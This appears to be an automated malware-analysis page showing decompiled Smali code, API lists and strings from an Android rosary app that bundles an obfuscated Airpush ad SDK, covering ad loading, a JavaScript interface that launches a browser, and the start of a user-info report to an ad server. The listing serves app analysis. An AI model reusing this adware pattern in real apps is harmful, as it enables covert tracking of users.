  • android.util.Log.i
  • java.lang.Object.equals
  • android.util.Log.i
  • java.lang.Exception.printStackTrace
  • android.util.Log.i
  • com.vxjxu.jkhfn1870.AdView.getContext
  • com.vxjxu.jkhfn1870.MraidView.<init>
  • com.vxjxu.jkhfn1870.AdView.getChildCount
  • com.vxjxu.jkhfn1870.AdView.getChildAt
  • java.util.List.add
  • com.vxjxu.jkhfn1870.AdView.addView
  • com.vxjxu.jkhfn1870.AdView.removeAllViews
  • com.vxjxu.jkhfn1870.AdView.setVisibility
  • android.util.Log.i
Strings
  • AirplayMraid
  • Tag data is null
  • Ad url is null
  • Loading Mraid ad..
  • Ad not loaded. Mraid data is null.
  • Ad not loaded. Url is null.
Position Instruction Meta Information
0.prologue
1try_start_0:
2invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AdView;->setBackGround()V
4iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
5if-eqz v1, :cond_8e
7iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
9invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isHtmlAd()Z
10move-result v1
11if-nez v1, :cond_1f
13iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
15invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isInlineScript()Z
16move-result v1
17if-nez v1, :cond_1f
19iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
21invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isJsAd()Z
22move-result v1
23if-eqz v1, :cond_39
24cond_1f:
25iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
27invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getTag()Ljava/lang/String;
28move-result-object v1
29if-eqz v1, :cond_31
31iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
33const-string v2, ""
35invoke-virtual {v1, v2}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
36move-result v1
37if-eqz v1, :cond_58
38cond_31:
39const-string v1, "AirplayMraid"
41const-string v2, "Tag data is null"
43invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Tag data is null
44goto_38: return-void
45cond_39:
46iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
48invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getAd_url()Ljava/lang/String;
49move-result-object v1
50if-eqz v1, :cond_4b
52iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
54const-string v2, ""
56invoke-virtual {v1, v2}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
57move-result v1
58if-eqz v1, :cond_58
59cond_4b:
60const-string v1, "AirplayMraid"
62const-string v2, "Ad url is null"
64invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Ad url is null
65try_end_52: goto/16 :goto_38
66catch_53: move-exception v7
68invoke-virtual {v7}, Ljava/lang/Exception;->printStackTrace()V
69goto/16 :goto_38
70cond_58:
71const-string v1, "AirplayMraid"
73const-string v2, "Loading Mraid ad.."
75invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Loading Mraid ad..
76new-instance v0, Lcom/vxjxu/jkhfn1870/MraidView;
78invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context;
79move-result-object v1
81sget-object v3, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
83iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->handler:Landroid/os/Handler;
85iget-object v5, p0, Lcom/vxjxu/jkhfn1870/AdView;->animationDrawListener:Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener;
86move-object v2, p0
88invoke-direct/range {v0 .. v5}, Lcom/vxjxu/jkhfn1870/MraidView;-><init>(Landroid/content/Context;Lcom/vxjxu/jkhfn1870/AdView;Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;Landroid/os/Handler;Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener;)V
90invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getChildCount()I
91move-result v6
92if-lez v6, :cond_8a
93const/4 v8, 0x0
94goto_76: if-ge v8, v6, :cond_8a
96invoke-virtual {p0, v8}, Lcom/vxjxu/jkhfn1870/AdView;->getChildAt(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 0
97move-result-object v1
98if-eqz v1, :cond_87
100iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->oldViews:Ljava/util/List;
102invoke-virtual {p0, v8}, Lcom/vxjxu/jkhfn1870/AdView;->getChildAt(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 0
103move-result-object v2
105invoke-interface {v1, v2}, Ljava/util/List;->add(Ljava/lang/Object;)Z
106cond_87: add-int/lit8 v8, v8, 0x1
107goto/16 :goto_76
108cond_8a:
109invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/AdView;->addView(Landroid/view/View;)V
110goto/16 :goto_38
111cond_8e:
112invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->removeAllViews()V
113const/16 v1, 0x8
115invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 8
117const-string v1, "AirplayMraid"
119const-string v2, "Ad not loaded. Mraid data is null."
121invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Ad not loaded. Mraid data is null.
123sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
124if-eqz v1, :cond_38
126sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
128const-string v2, "Ad not loaded. Url is null."
130invoke-interface {v1, v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Ad not loaded. Url is null.
131try_end_a8: goto/16 :goto_38
APIs
  • android.app.Activity.onActivityResult
  • com.vxjxu.jkhfn1870.MraidView.sendEventData
  • com.vxjxu.jkhfn1870.MraidView.canFetchAd
  • com.vxjxu.jkhfn1870.BrowserActivity.finish
  • com.vxjxu.jkhfn1870.MraidView.sendEventData
  • com.vxjxu.jkhfn1870.MraidView.canFetchAd
  • com.vxjxu.jkhfn1870.BrowserActivity.finish
  • com.vxjxu.jkhfn1870.MraidView.canFetchAd
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
  • com.vxjxu.jkhfn1870.BrowserActivity.finish
  • com.vxjxu.jkhfn1870.MraidView.canFetchAd
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
  • com.vxjxu.jkhfn1870.BrowserActivity.finish
Strings
  • Calender event added
  • 92
  • Video played added
  • 91
  • createCalendarEvent
  • Creating calendar event canceled by user.
  • playVideo
  • Play video is canceled by user.
Position Instruction Meta Information
0.param p1, "requestCode" # I
1.param p2, "resultCode" # I
2.param p3, "data" # Landroid/content/Intent;
3.prologue
4const/4 v3, -0x1
6invoke-super {p0, p1, p2, p3}, Landroid/app/Activity;->onActivityResult(IILandroid/content/Intent;)V
7const/4 v0, 0x7
8if-ne p1, v0, :cond_1e
9if-ne p2, v3, :cond_3a
10try_start_9:
11const-string v0, "Calender event added"
13invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Calender event added
15sget-object v0, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView;
17const-string v1, "92"
19invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 92
21sget-object v0, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView;
22const/4 v1, 0x1
24invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V
  • Data flow analysis:
    • p0: 1
26invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V
27cond_1e: const/16 v0, 0x8
28if-ne p1, v0, :cond_39
29if-ne p2, v3, :cond_55
31const-string v0, "Video played added"
33invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Video played added
35sget-object v0, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView;
37const-string v1, "91"
39invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 91
41sget-object v0, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView;
42const/4 v1, 0x1
44invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V
  • Data flow analysis:
    • p0: 1
46invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V
47cond_39: return-void
48cond_3a: if-nez p2, :cond_51
50sget-object v0, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView;
51const/4 v1, 0x1
53invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V
  • Data flow analysis:
    • p0: 1
55sget-object v0, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView;
57const-string v1, "createCalendarEvent"
59const-string v2, "Creating calendar event canceled by user."
61invoke-virtual {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: createCalendarEvent
    • p1: Creating calendar event canceled by user.
63invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V
64goto/16 :goto_1e
65catch_4f: move-exception v0
66goto/16 :goto_39
67cond_51:
68invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V
69goto/16 :goto_1e
70cond_55: if-nez p2, :cond_6a
72sget-object v0, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView;
73const/4 v1, 0x1
75invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V
  • Data flow analysis:
    • p0: 1
77sget-object v0, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView;
79const-string v1, "playVideo"
81const-string v2, "Play video is canceled by user."
83invoke-virtual {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: playVideo
    • p1: Play video is canceled by user.
85invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V
86goto/16 :goto_39
87cond_6a:
88invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V
89try_end_6d: goto/16 :goto_39
Cross References
APIs
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • com.vxjxu.jkhfn1870.MraidView.getResources
  • android.content.res.Resources.getConfiguration
  • java.lang.String.equals
  • android.app.Activity.setRequestedOrientation
  • android.app.Activity.onConfigurationChanged
  • android.app.Activity.getRequestedOrientation
  • android.app.Activity.setRequestedOrientation
  • android.app.Activity.onConfigurationChanged
  • java.lang.String.equals
  • android.app.Activity.setRequestedOrientation
  • java.lang.Exception.printStackTrace
  • java.lang.String.equals
  • android.app.Activity.setRequestedOrientation
Strings
  • landscape
  • Orientation cahnged to landscape.
  • Orientation changed to false.
  • Orientation saved.
  • portrait
  • Orientation changed to protrait.
  • none
  • Orientation changed to none.
Position Instruction Meta Information
0.prologue
1try_start_0:
2invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
3move-result-object v0
4check-cast v0, Landroid/app/Activity;
6iget-object v6, p0, Lcom/vxjxu/jkhfn1870/MraidView;->mraidAdUtil:Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;
8invoke-virtual {v6}, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;->getForceOrientation()Ljava/lang/String;
9move-result-object v4
11invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getResources()Landroid/content/res/Resources;
12move-result-object v6
14invoke-virtual {v6}, Landroid/content/res/Resources;->getConfiguration()Landroid/content/res/Configuration;
15move-result-object v2
17iget-object v6, p0, Lcom/vxjxu/jkhfn1870/MraidView;->mraidAdUtil:Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;
19invoke-virtual {v6}, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;->isOrientationChange()Z
20move-result v1
21if-eqz v4, :cond_4a
23const-string v6, "landscape"
25invoke-virtual {v4, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: landscape
26move-result v6
27if-eqz v6, :cond_4a
28const/4 v6, 0x0
30invoke-virtual {v0, v6}, Landroid/app/Activity;->setRequestedOrientation(I)V
  • Data flow analysis:
    • requestedOrientation: 0
31const/4 v6, 0x2
32iput v6, v2, Landroid/content/res/Configuration;->orientation:I
34invoke-virtual {v0, v2}, Landroid/app/Activity;->onConfigurationChanged(Landroid/content/res/Configuration;)V
36const-string v6, "Orientation cahnged to landscape."
38invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Orientation cahnged to landscape.
39goto_33: if-nez v1, :cond_44
41invoke-virtual {v0}, Landroid/app/Activity;->getRequestedOrientation()I
42move-result v5
44invoke-virtual {v0, v5}, Landroid/app/Activity;->setRequestedOrientation(I)V
46invoke-virtual {v0, v2}, Landroid/app/Activity;->onConfigurationChanged(Landroid/content/res/Configuration;)V
48const-string v6, "Orientation changed to false."
50invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Orientation changed to false.
51cond_44:
52const-string v6, "Orientation saved."
54invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Orientation saved.
55goto_49: return-void
56cond_4a: if-eqz v4, :cond_63
58const-string v6, "portrait"
60invoke-virtual {v4, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: portrait
61move-result v6
62if-eqz v6, :cond_63
63const/4 v6, 0x1
65invoke-virtual {v0, v6}, Landroid/app/Activity;->setRequestedOrientation(I)V
  • Data flow analysis:
    • requestedOrientation: 1
67const-string v6, "Orientation changed to protrait."
69invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Orientation changed to protrait.
70try_end_5d: goto/16 :goto_33
71catch_5e: move-exception v3
73invoke-virtual {v3}, Ljava/lang/Exception;->printStackTrace()V
74goto/16 :goto_49
75cond_63: if-eqz v4, :cond_33
76try_start_65:
77const-string v6, "none"
79invoke-virtual {v4, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: none
80move-result v6
81if-eqz v6, :cond_33
82const/4 v6, -0x1
84invoke-virtual {v0, v6}, Landroid/app/Activity;->setRequestedOrientation(I)V
86const-string v6, "Orientation changed to none."
88invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Orientation changed to none.
89try_end_76: goto/16 :goto_33
APIs
  • com.vxjxu.jkhfn1870.MraidView.access$100
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • android.content.Intent.<init>
  • android.content.Intent.setAction
  • android.content.Intent.addFlags
  • android.content.Intent.putExtra
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • android.content.Context.startActivity
  • com.vxjxu.jkhfn1870.MraidView.sendEventData
  • com.vxjxu.jkhfn1870.MraidView.canFetchAd
  • android.util.Log.e
  • com.vxjxu.jkhfn1870.MraidView.access$100
  • com.vxjxu.jkhfn1870.MraidView.sendEventData
Strings
  • browser
  • url
  • 96
  • AirplayMraid
  • Required BrowserActivty is not added in manifest please add.
  • 89
Position Instruction Meta Information
0.param p1, "url" # Ljava/lang/String;
1.annotation runtime Landroid/webkit/JavascriptInterface;
2.end annotation
3.prologue
5iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
7invoke-static {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
8move-result-object v2
9if-eqz v2, :cond_11
11iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
13invoke-static {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
14move-result-object v2
16invoke-interface {v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdClickListener()V
17cond_11: new-instance v1, Landroid/content/Intent;
19iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
21invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
22move-result-object v2
23const-class v3, Lcom/vxjxu/jkhfn1870/BrowserActivity;
25invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
27const-string v2, "browser"
29invoke-virtual {v1, v2}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: browser
30const/high16 v2, 0x10000000
32invoke-virtual {v1, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 268435456
33const/high16 v2, 0x800000
35invoke-virtual {v1, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 8388608
37const-string v2, "url"
39invoke-virtual {v1, v2, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: url
40try_start_32:
41iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
43invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
44move-result-object v2
46invoke-virtual {v2, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
48iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
50const-string v3, "96"
52invoke-virtual {v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 96
53goto_42:
54iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
55const/4 v3, 0x1
57invoke-virtual {v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V
  • Data flow analysis:
    • p0: 1
58return-void
59catch_49: move-exception v0
61const-string v2, "AirplayMraid"
63const-string v3, "Required BrowserActivty is not added in manifest please add."
65invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Required BrowserActivty is not added in manifest please add.
67iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
69invoke-static {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
70move-result-object v2
71if-eqz v2, :cond_64
73iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
75invoke-static {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
76move-result-object v2
78const-string v3, "Required BrowserActivty is not added in manifest please add."
80invoke-interface {v2, v3}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Required BrowserActivty is not added in manifest please add.
81cond_64:
82iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
84const-string v3, "89"
86invoke-virtual {v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 89
87goto/16 :goto_42
APIs
  • android.view.MenuItem.getItemId
  • android.app.Activity.onOptionsItemSelected
  • prsolutions.rosariofacileads.RosarioFacile.getApplication
  • android.content.Intent.<init>
  • prsolutions.rosariofacileads.RosarioFacile.startActivity
  • prsolutions.rosariofacileads.RosarioFacile.getApplication
  • android.content.Intent.<init>
  • android.content.Intent.putExtra
  • prsolutions.rosariofacileads.RosarioFacile.startActivity
  • prsolutions.rosariofacileads.RosarioFacile.getApplication
  • android.content.Intent.<init>
  • android.content.Intent.putExtra
  • prsolutions.rosariofacileads.RosarioFacile.startActivity
  • prsolutions.rosariofacileads.RosarioFacile.getApplication
  • android.content.Intent.<init>
  • android.content.Intent.putExtra
  • prsolutions.rosariofacileads.RosarioFacile.startActivity
  • prsolutions.rosariofacileads.RosarioFacile.getApplication
  • android.content.Intent.<init>
  • android.content.Intent.putExtra
  • prsolutions.rosariofacileads.RosarioFacile.startActivity
Strings
  • Mistero
Position Instruction Meta Information
0.param p1, "item" # Landroid/view/MenuItem;
1.prologue
2const/4 v1, 0x1
4invoke-interface {p1}, Landroid/view/MenuItem;->getItemId()I
5move-result v2
6packed-switch v2, :pswitch_data_70
7pswitch_8:
8invoke-super {p0, p1}, Landroid/app/Activity;->onOptionsItemSelected(Landroid/view/MenuItem;)Z
9move-result v1
10goto_c: return v1
11pswitch_d: new-instance v0, Landroid/content/Intent;
13invoke-virtual {p0}, Lprsolutions/rosariofacileads/RosarioFacile;->getApplication()Landroid/app/Application;
14move-result-object v2
15const-class v3, Lprsolutions/rosariofacileads/Opzioni;
17invoke-direct {v0, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
19invoke-virtual {p0, v0}, Lprsolutions/rosariofacileads/RosarioFacile;->startActivity(Landroid/content/Intent;)V
20goto/16 :goto_c
21pswitch_1c: new-instance v0, Landroid/content/Intent;
23invoke-virtual {p0}, Lprsolutions/rosariofacileads/RosarioFacile;->getApplication()Landroid/app/Application;
24move-result-object v2
25const-class v3, Lprsolutions/rosariofacileads/Player;
27invoke-direct {v0, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
29const-string v2, "Mistero"
30const/4 v3, 0x3
32invoke-virtual {v0, v2, v3}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent;
  • Data flow analysis:
    • p0: Mistero
    • p1: 3
34invoke-virtual {p0, v0}, Lprsolutions/rosariofacileads/RosarioFacile;->startActivity(Landroid/content/Intent;)V
35goto/16 :goto_c
36pswitch_31: new-instance v0, Landroid/content/Intent;
38invoke-virtual {p0}, Lprsolutions/rosariofacileads/RosarioFacile;->getApplication()Landroid/app/Application;
39move-result-object v2
40const-class v3, Lprsolutions/rosariofacileads/Player;
42invoke-direct {v0, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
44const-string v2, "Mistero"
45const/4 v3, 0x2
47invoke-virtual {v0, v2, v3}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent;
  • Data flow analysis:
    • p0: Mistero
    • p1: 2
49invoke-virtual {p0, v0}, Lprsolutions/rosariofacileads/RosarioFacile;->startActivity(Landroid/content/Intent;)V
50goto/16 :goto_c
51pswitch_46: new-instance v0, Landroid/content/Intent;
53invoke-virtual {p0}, Lprsolutions/rosariofacileads/RosarioFacile;->getApplication()Landroid/app/Application;
54move-result-object v2
55const-class v3, Lprsolutions/rosariofacileads/Player;
57invoke-direct {v0, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
59const-string v2, "Mistero"
61invoke-virtual {v0, v2, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent;
  • Data flow analysis:
    • p0: Mistero
63invoke-virtual {p0, v0}, Lprsolutions/rosariofacileads/RosarioFacile;->startActivity(Landroid/content/Intent;)V
64goto/16 :goto_c
65pswitch_5a: new-instance v0, Landroid/content/Intent;
67invoke-virtual {p0}, Lprsolutions/rosariofacileads/RosarioFacile;->getApplication()Landroid/app/Application;
68move-result-object v2
69const-class v3, Lprsolutions/rosariofacileads/Player;
71invoke-direct {v0, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
73const-string v2, "Mistero"
74const/4 v3, 0x5
76invoke-virtual {v0, v2, v3}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent;
  • Data flow analysis:
    • p0: Mistero
    • p1: 5
78invoke-virtual {p0, v0}, Lprsolutions/rosariofacileads/RosarioFacile;->startActivity(Landroid/content/Intent;)V
79goto/16 :goto_c
80nop
APIs
  • java.util.ArrayList.<init>
  • org.apache.http.message.BasicNameValuePair.<init>
  • java.util.List.add
  • org.apache.http.message.BasicNameValuePair.<init>
  • java.util.List.add
  • org.apache.http.message.BasicNameValuePair.<init>
  • java.util.List.add
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Strings
  • model
  • user
  • action
  • setuserinfo
  • type
  • app
  • UserInfo Values >>>>>>:
  • https://api.airpush.com/v2/api.php
  • sn
Position Instruction Meta Information
0.prologue
1new-instance v4, Ljava/util/ArrayList;
3invoke-direct {v4}, Ljava/util/ArrayList;-><init>()V
4new-instance v0, Lorg/apache/http/message/BasicNameValuePair;
6const-string v2, "model"
8const-string v3, "user"
10invoke-direct {v0, v2, v3}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: model
    • p1: user
12invoke-interface {v4, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
13new-instance v0, Lorg/apache/http/message/BasicNameValuePair;
15const-string v2, "action"
17const-string v3, "setuserinfo"
19invoke-direct {v0, v2, v3}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: action
    • p1: setuserinfo
21invoke-interface {v4, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
22new-instance v0, Lorg/apache/http/message/BasicNameValuePair;
24const-string v2, "type"
26const-string v3, "app"
28invoke-direct {v0, v2, v3}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: type
    • p1: app
30invoke-interface {v4, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
31new-instance v0, Ljava/lang/StringBuilder;
33invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
35const-string v2, "UserInfo Values >>>>>>: "
37invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: UserInfo Values >>>>>>:
